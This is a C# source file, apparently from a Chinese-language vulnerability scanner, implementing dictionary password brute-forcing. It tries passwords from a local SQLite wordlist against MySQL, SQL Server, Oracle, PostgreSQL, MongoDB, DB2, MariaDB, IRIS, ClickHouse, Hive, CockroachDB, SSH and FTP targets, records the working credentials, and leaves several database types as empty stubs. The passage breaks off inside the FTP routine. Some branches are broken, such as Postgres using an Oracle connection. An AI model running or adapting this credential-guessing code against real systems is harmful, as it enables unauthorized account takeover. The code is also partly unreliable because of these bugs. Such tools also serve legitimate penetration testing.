using InterSystems.Data.IRISClient;
using MongoDB.Driver;
using MSTSCLib;
using MySql.Data.MySqlClient;//最新版本无法安装 使用版本：8.0.30.0
using Npgsql;
using Oracle.ManagedDataAccess.Client;
using Renci.SshNet;
using System;
using System.Collections.Generic;
using System.Data.OleDb;
using System.Data.SqlClient;
using System.Data.SQLite;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using ClickHouse.Net;
using ClickHouse.Ado;
using CockroachDb = Npgsql;
using System.Data;
using System.Data.Odbc;

namespace Sec_scan漏洞扫描系统.Sec_Service
{
    /// <summary>
    /// 密码爆破服务
    /// </summary>
    public class Sec_PassWordCrack_service
    {
        /// <summary>
        /// mysql 数据库里密码破解
        /// </summary>
        /// <param name="mysql"></param>
        /// <returns></returns>
        public static string MysqlCrack(string mysql)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.MysqlPassWords = new StringBuilder();//实例化密码
            Sec_Api.Sec_PassWordCrack_Service_Api.MysqlExpOptions = new StringBuilder();//实例化错误信息
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if(connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.MysqlPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询mysql数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using(SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["mysql"].ToString();//密码字符
                        MySqlConnectionStringBuilder mysqlcli = new MySqlConnectionStringBuilder();
                        mysqlcli.Server = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//破解的IP地址
                        mysqlcli.Port = Convert.ToUInt16(Sec_Api.Sec_PassWordCrack_Service_Api.Port);//破解的端口
                        mysqlcli.UserID = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解的账号
                        mysqlcli.Password = pass;//破解的密码
                        try
                        {
                            MySqlConnection bs = new MySqlConnection(mysqlcli.ToString());
                            bs.Open();
                            if(bs.State == System.Data.ConnectionState.Open)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.MysqlInfo = mysqlcli.Server + mysqlcli.Port + mysqlcli.UserID + pass;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.MysqlPassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            //密码错误的情况下
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.MysqlExpOptions.Append(exp);//传出错误信息
                        }
                    }
                }
            }
            return mysql;
        }
        /// <summary>
        /// sql server 数据库密码破解
        /// </summary>
        /// <param name="msssql"></param>
        /// <returns></returns>
        public static string MsssqlCrack(string msssql)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.MsssqlExpOptions = new StringBuilder();//实例化错误接口
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.MsssqlPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询msssql数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["msssql"].ToString();//密码字符
                        SqlConnectionStringBuilder msssqlcli = new SqlConnectionStringBuilder();//实例化连接sql server数据库
                        msssqlcli.DataSource = Sec_Api.Sec_PassWordCrack_Service_Api.Ip + "," + Convert.ToString(Sec_Api.Sec_PassWordCrack_Service_Api.Port);//IP地址 + 端口
                        msssqlcli.UserID = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解账号
                        msssqlcli.Password = pass;//破解密码
                        try
                        {
                            SqlConnection bs = new SqlConnection(msssqlcli.ToString());
                            bs.Open();
                            if (bs.State == System.Data.ConnectionState.Open)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.MsssqlInfo = msssqlcli.DataSource + msssqlcli.UserID + pass;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.MsssqlPassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.MsssqlExpOptions.Append(exp);
                        }
                    }
                }
            }
            return msssql;
        }
        /// <summary>
        /// oracle 数据库密码破解
        /// </summary>
        /// <param name="oracle"></param>
        /// <returns></returns>
        public static string OraclCrack(string oracle)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.OraclePassWords = new StringBuilder();
            Sec_Api.Sec_PassWordCrack_Service_Api.OracleExpOptions = new StringBuilder();//实例化接口
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.OraclePass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询oracle数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["oracle"].ToString();//密码字符
                        OracleConnectionStringBuilder builder = new OracleConnectionStringBuilder();
                        builder.DataSource = Sec_Api.Sec_PassWordCrack_Service_Api.Ip + ":" + Convert.ToString(Sec_Api.Sec_PassWordCrack_Service_Api.Port) + "/" + Sec_Api.Sec_PassWordCrack_Service_Api.OracleTable;//ip + 端口 + 连接表是必须的
                        builder.UserID = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解账号
                        builder.Password = pass;//破解密码
                        try
                        {
                            OracleConnection conn = new OracleConnection(builder.ToString());
                            conn.Open();
                            if(conn.State == System.Data.ConnectionState.Open)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.OracleInfo = builder.DataSource + builder.UserID + pass;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.OraclePassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.OracleExpOptions.Append(exp);
                        }
                    }
                }
            }
            return oracle;
        }
        /// <summary>
        /// postgres 数据库密码破解
        /// </summary>
        /// <param name="postgres"></param>
        /// <returns></returns>
        public static string PostGresCrack(string postgres)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.PostGresPassWords = new StringBuilder();//实例化密码
            Sec_Api.Sec_PassWordCrack_Service_Api.PostGresExpOptions = new StringBuilder();//实例化错误信息
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.PostGresPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询postgres数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["postgres"].ToString();//密码字符
                        NpgsqlConnectionStringBuilder pairs = new NpgsqlConnectionStringBuilder();
                        pairs.Host = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;
                        pairs.Port = Sec_Api.Sec_PassWordCrack_Service_Api.Port;
                        pairs.Username = Sec_Api.Sec_PassWordCrack_Service_Api.User;
                        pairs.Password = pass;
                        try
                        {
                            OracleConnection conn = new OracleConnection(pairs.ToString());
                            conn.Open();
                            if(conn.State == System.Data.ConnectionState.Open)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.PostGresInfo = pairs.Host + pairs.Port + pairs.Username + pairs.Password;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.PostGresPassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.PostGresExpOptions.Append(exp);
                        }
                    }
                }
            }
            return postgres;
        }
        /// <summary>
        /// mongodb 数据库密码破解
        /// </summary>
        /// <param name="mongodb"></param>
        /// <returns></returns>
        public static string MongoCrack(string mongodb)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.MongoDbPassWords = new StringBuilder();
            Sec_Api.Sec_PassWordCrack_Service_Api.MongoDbExpOptions = new StringBuilder();//实例化
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.MongoDbPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询mongodb数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["mongodb"].ToString();//密码字符
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;//账号
                        string ipinfo = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//IP地址
                        int ports = Sec_Api.Sec_PassWordCrack_Service_Api.Port;//端口
                        string table = Sec_Api.Sec_PassWordCrack_Service_Api.MongodbTable;//数据库
                        string mongoclient = "mongodb://" + username + ":" + pass + "@" + ipinfo + ":" + ports + "/" + table;//用户 + 密码 + ip + 端口 + 数据库
                        try
                        {
                            MongoUrl mongourl = new MongoUrl(mongoclient);
                            MongoClientSettings settings = MongoClientSettings.FromUrl(mongourl);//获取连接配置
                            settings.ServerSelectionTimeout = new TimeSpan(0, 0, 1000); // 设置寻找服务器的时间
                            MongoClient server = new MongoClient(settings); //创建数据库连接
                            server.ListDatabaseNames();
                            var stat = server.ToString();
                            if(stat.Length >= 1)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.MongoDbInfo = ipinfo + ports + username + pass + table;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.MongoDbPassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.MongoDbExpOptions.Append(exp);
                        }
                    }
                }
            }
            return mongodb;
        }
        /// <summary>
        /// db2 数据库密码破解  默认端口：50000 默认账号：db2admin 默认密码：123456 默认数据库：sample
        /// </summary>
        /// <param name="db2"></param>
        /// <returns></returns>
        public static string Db2Crack(string db2)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.Db2ExpOptions = new StringBuilder();
            Sec_Api.Sec_PassWordCrack_Service_Api.Db2PassWords = new StringBuilder();//实例化密码
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.Db2Pass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询db2数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["db2"].ToString();//密码字符
                        string user = Sec_Api.Sec_PassWordCrack_Service_Api.User;//默认账号 db2admin
                        string port = Sec_Api.Sec_PassWordCrack_Service_Api.Port.ToString();//端口 int 类型  默认端口 50000
                        string database = Sec_Api.Sec_PassWordCrack_Service_Api.Db2Table;//数据库
                        string address = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//获取ip地址

                        string conns = "Provider=IBMDADB2;" + "Data Source=" + database + ";" + "Persist Security Info=True;" + "User ID=" + user + ";" + "Password=" + pass + ";" + "Location=" + address + ":" + port;
                        try
                        {
                            using (OleDbConnection conn = new OleDbConnection(conns))
                            {
                                conn.Open();
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.Db2info = user + pass + port + database + address;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.Db2PassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.Db2ExpOptions.Append(exp);
                        }
                    }
                }
            }
            return db2;
        }
        /// <summary>
        /// maindb 数据库密码破解
        /// </summary>
        /// <param name="Maria"></param>
        /// <returns></returns>
        public static string MariaCrack(string maindb)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.MariaExpOptions = new StringBuilder();
            Sec_Api.Sec_PassWordCrack_Service_Api.MariaPassWord = new StringBuilder();//实例化密码字段
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.MariaPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询maria数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["maria"].ToString();//密码字符
                        MySqlConnectionStringBuilder mysqlcli = new MySqlConnectionStringBuilder();
                        mysqlcli.Server = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//破解的IP地址
                        mysqlcli.Port = Convert.ToUInt16(Sec_Api.Sec_PassWordCrack_Service_Api.Port);//破解的端口 3306
                        mysqlcli.UserID = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解的账号 root
                        mysqlcli.Password = pass;//破解的密码
                        mysqlcli.Database = Sec_Api.Sec_PassWordCrack_Service_Api.MariaTable;//默认表为 ： mysql
                        try
                        {
                            MySqlConnection bs = new MySqlConnection(mysqlcli.ToString());
                            bs.Open();
                            if (bs.State == System.Data.ConnectionState.Open)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.Mariainfo = mysqlcli.Server + mysqlcli.Port + mysqlcli.UserID + pass + mysqlcli.Database;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.MariaPassWord.Append(pass);//传出密码
                            }
                        }
                        catch (Exception ex)
                        {
                            //密码错误的情况下
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.MariaExpOptions.Append(exp);//传出错误信息
                        }
                    }
                }
            }
            return maindb;
        }
        /// <summary>
        /// cache 数据库密码破解  
        /// /// https://gitcode.net/mirrors/intersystems/quickstarts-dotnet?utm_source=csdn_github_accelerator
        /// 需要引用：InterSystems.Data.IRISClient.dll 
        /// using InterSystems.Data.IRISClient;
        /// 超级端口是 51773
        /// 默认端口是 1972
        /// 默认数据库是 USER
        /// 数据库名称全称：intersystems iris 简称：cahce
        /// </summary>
        /// <param name="cache"></param>
        /// <returns></returns>
        public static string CacheCrack(string cache)
        {
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.CachePass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询cache数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["maria"].ToString();//密码字符
                        string ip = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//破解的IP地址
                        string port = Sec_Api.Sec_PassWordCrack_Service_Api.Port.ToString();//破解的端口
                        string Namespace = "%SYS";//这个是必须的 相当于是引用命名空间 基于java
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解的账号
                        string password = pass;//破解的密码
                        try
                        {
                            IRISADOConnection connect = new IRISADOConnection();
                            connect.ConnectionString = "Server = " + ip + "; Port = " + port + "; Namespace =  " + Namespace + "; Password = " + password + "; User ID = " + username;
                            connect.Open();
                            if (connect.State == System.Data.ConnectionState.Open)
                            {
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.Cacheinfo = ip + pass + port + username;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.CachePassWord.Append(pass);//传出密码
                            }
                        }
                        catch (Exception ex)
                        {
                            //密码错误的情况下
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.CacheExpOtions.Append(exp);//传出错误信息
                        }
                    }
                }
            }
            return cache;
        }
        /// <summary>
        /// clickhouse 数据库密码破解
        /// <para>默认端口：8123</para>
        /// </summary>
        /// <param name="clickhouse"></param>
        /// <returns></returns>
        public static string ClickHouseCrack(string clickhouse)
        {
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.ClickHouse(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询clickhouse数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["clickhouse"].ToString();//密码字符
                        string ip = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//破解的IP地址
                        string port = Sec_Api.Sec_PassWordCrack_Service_Api.Port.ToString();//破解的端口
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解的账号
                        string password = pass;//破解的密码
                        try
                        {
                            var db = new ClickHouseDatabase(
                               new ClickHouseConnectionSettings("Host=" + ip + ";" + "User=" + username + ";" + "Port=" + port + ";" + "Password=" + pass + ":"),
                               new ClickHouseCommandFormatter(),
                               new ClickHouseConnectionFactory(),
                               null,
                               new DefaultPropertyBinder());

                            db.Open();
                            //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                            Sec_Api.Sec_PassWordCrack_Service_Api.ClickHouseInfo = ip + pass + port + username;//一次性传出
                            Sec_Api.Sec_PassWordCrack_Service_Api.ClickHousePassWord.Append(pass);//传出密码
                        }
                        catch (Exception ex)
                        {
                            //密码错误的情况下
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.ClickHouseExpOptions.Append(exp);//传出错误信息
                        }
                    }
                }
            }
            return clickhouse;
        }
        /// <summary>
        /// cloudera 数据库密码破解
        /// </summary>
        /// <param name="cloudera"></param>
        /// <returns></returns>
        public static string ClouDeraCrack(string cloudera)
        {
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.Cloudera(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询Cloudera数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["cloudera"].ToString();//密码字符
                        string ip = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//破解的IP地址
                        string port = Sec_Api.Sec_PassWordCrack_Service_Api.Port.ToString();//破解的端口
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解的账号
                        string password = pass;//破解的密码
                        string database = Sec_Api.Sec_PassWordCrack_Service_Api.ClouderaDataBase;//数据库
                        try
                        {
                            // 数据库连接信息
                            string driver = "{Cloudera ODBC Driver for Apache Hive}";//Apache配置单元的Cloudera ODBC驱动程序
                            // 连接字符串
                            string connectionString = string.Format("DRIVER={0};HOST={1};PORT={2};DATABASE={3};UID={4};PWD={5};SSL=1;", driver, ip, port, database, username, password);

                            try
                            {
                                // 创建ODBC连接
                                using (OdbcConnection connections = new OdbcConnection(connectionString))
                                {
                                    // 打开连接
                                    connections.Open();

                                    // 判断连接状态
                                    if (connections.State == ConnectionState.Open)
                                    {
                                        //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                        Sec_Api.Sec_PassWordCrack_Service_Api.ClickHouseInfo = ip + pass + port + username;//一次性传出
                                        Sec_Api.Sec_PassWordCrack_Service_Api.ClickHousePassWord.Append(pass);//传出密码
                                    }
                                    else
                                    {
                                        Console.WriteLine("数据库连接失败");
                                    }
                                }
                            }
                            catch (OdbcException ex)
                            {
                                Console.WriteLine(ex.Message);
                            } 
                        }
                        catch (Exception ex)
                        {
                            //密码错误的情况下
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.ClickHouseExpOptions.Append(exp);//传出错误信息
                        }
                    }
                }
            }
            return cloudera;
        }
        /// <summary>
        /// cookroachdb 数据库密码破解
        /// </summary>
        /// <param name="cookroachdb"></param>
        /// <returns></returns>
        public static string CookRoachDbCrack(string cookroachdb)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.CookRoachdbExpOptions = new StringBuilder();
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.CookRoachdb(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询clickhouse数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["cookroachdb"].ToString();//密码字符
                        string ip = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;//破解的IP地址
                        string port = Sec_Api.Sec_PassWordCrack_Service_Api.Port.ToString();//破解的端口
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;//破解的账号
                        string password = pass;//破解的密码
                        string database = Sec_Api.Sec_PassWordCrack_Service_Api.CookRoachdbDataBase;
                        try
                        {
                            //var connString = "Host=localhost;Username=postgres;Password=password;Database=mydb";
                            var connString = "Host=" + ip + ";" + "Username=" + username + ";" + "Password=" + password + ";" + "Database=" + database;
                            var conn = new NpgsqlConnection(connString);
                            try
                            {
                                conn.OpenAsync();
                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.CookRoachdb = ip + pass + port + username;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.ClickHousePassWord.Append(pass);//传出密码
                                Console.WriteLine("数据库连接成功");
                            }
                            catch (Exception ex)
                            {
                                //密码错误的情况下
                                string exp = ex.ToString();
                                Sec_Api.Sec_PassWordCrack_Service_Api.CookRoachdbExpOptions.Append(exp);//传出错误信息
                                Console.WriteLine($"连接失败: {ex.Message}");
                            }
                            
                        }
                        catch (Exception ex)
                        {
                            //密码错误的情况下
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.CookRoachdbExpOptions.Append(exp);//传出错误信息
                        }
                    }
                }
            }
            return cookroachdb;
        }
        /// <summary>
        /// cubrid 数据库密码破解
        /// </summary>
        /// <param name="cubrid"></param>
        /// <returns></returns>
        public static string CuBridCrack(string cubrid)
        {
            return cubrid;
        }
        /// <summary>
        /// dendo 数据库密码破解
        /// </summary>
        /// <param name="dendo"></param>
        /// <returns></returns>
        public static string DenodoCrack(string dendo)
        {
            return dendo;
        }
        /// <summary>
        /// edb 数据库密码破解
        /// </summary>
        /// <param name="edb"></param>
        /// <returns></returns>
        public static string EdbCrack(string edb)
        {
            return edb;
        }
        /// <summary>
        /// greeplun 数据库密码破解
        /// </summary>
        /// <param name="greeplun"></param>
        /// <returns></returns>
        public static string GreepLunCrack(string greeplun)
        {
            return greeplun;
        }
        /// <summary>
        /// h2 数据库密码破解
        /// </summary>
        /// <param name="h2"></param>
        /// <returns></returns>
        public static string H2ServerCrack(string h2)
        {
            return h2;
        }
        /// <summary>
        /// hana 数据库密码破解
        /// </summary>
        /// <param name="hana"></param>
        /// <returns></returns>
        public static string HanaCrack(string hana)
        {
            return hana;
        }
        /// <summary>
        /// hsql 数据库密码破解
        /// </summary>
        /// <param name="hsql"></param>
        /// <returns></returns>
        public static string HsqlCrack(string hsql)
        {
            return hsql;
        }
        /// <summary>
        /// infooramix 数据库密码破解
        /// </summary>
        /// <param name="infooramix"></param>
        /// <returns></returns>
        public static string InfoOramixCrack(string infooramix)
        {
            return infooramix;
        }
        /// <summary>
        /// ingres 数据库密码破解
        /// </summary>
        /// <param name="ingres"></param>
        /// <returns></returns>
        public static string IngresCrack(string ingres)
        {
            return ingres;
        }
        /// <summary>
        /// linux 服务器密码破解
        /// </summary>
        /// <param name="linux"></param>
        /// <returns></returns>
        public static string LinuxCrack(string linux)
        {
            Sec_Api.Sec_PassWordCrack_Service_Api.LinuxPassWords = new StringBuilder();
            Sec_Api.Sec_PassWordCrack_Service_Api.LinuxExpOptions = new StringBuilder();//实例化
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.LinuxPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询linux数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["linux"].ToString();//密码字符
                        string ip = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;
                        int port = Sec_Api.Sec_PassWordCrack_Service_Api.Port;
                        try
                        {
                            using (SshClient client = new SshClient(ip, port, username, pass))//ip + 端口 + 用户 + 密码
                            {
                                client.Connect();
                                var stat = client.ToString();
                                SshCommand ssh = client.CreateCommand(stat);
                                if (ssh.ToString().Length >= 1)
                                {
                                    //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                    Sec_Api.Sec_PassWordCrack_Service_Api.LinuxInfo = ip + username + port + pass;//一次性传出
                                    Sec_Api.Sec_PassWordCrack_Service_Api.LinuxPassWords.Append(pass);//传出密码
                                }
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.LinuxExpOptions.Append(exp);
                        }
                    }
                }
            }
            return linux;
        }
        /// <summary>
        /// windows 服务器密码破解
        /// </summary>
        /// <param name="windows"></param>
        /// <returns></returns>
        public static string WindowsCrack(string windows)
        {
            //IMsTscNonScriptable secured = (IMsTscNonScriptable)RdpClient.GetOcx();
            return windows;
        }
        /// <summary>
        /// ftp 服务器密码破解
        /// </summary>
        /// <param name="ftp"></param>
        /// <returns></returns>
        public static string FtpCrack(string ftp)
        {
            string loopcrack = Sec_Api.Sec_AllAPI.Sqlclient(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//连接密码数据库
            SQLiteConnection connection = new SQLiteConnection(loopcrack);
            connection.Open();
            if (connection.State == System.Data.ConnectionState.Open)
            {
                string sql = Sec_Api.Sec_AllAPI.FtpPass(Sec_Api.Sec_PassWordCrack_Service_Api.A1);//查询ftp数据库密码字典
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                using (SQLiteDataReader dr = command.ExecuteReader(System.Data.CommandBehavior.CloseConnection))
                {
                    while (dr.Read())
                    {
                        string pass = dr["ftp"].ToString();//密码字符
                        string ip = Sec_Api.Sec_PassWordCrack_Service_Api.Ip;
                        string username = Sec_Api.Sec_PassWordCrack_Service_Api.User;
                        int port = Sec_Api.Sec_PassWordCrack_Service_Api.Port;
                        try
                        {
                            FtpWebRequest ftp1 = (FtpWebRequest)WebRequest.Create(new Uri("ftp://" + ip + ":" + port));//ip + 端口
                            ftp1.Credentials = new NetworkCredential(username,pass);//账号与密码
                            ftp1.Method = WebRequestMethods.Ftp.ListDirectory;//设置传输协议
                            FtpWebResponse response = (FtpWebResponse)ftp1.GetResponse();
                            var ftps = response.ToString();
                            if(ftps.Length >= 1)
                            {
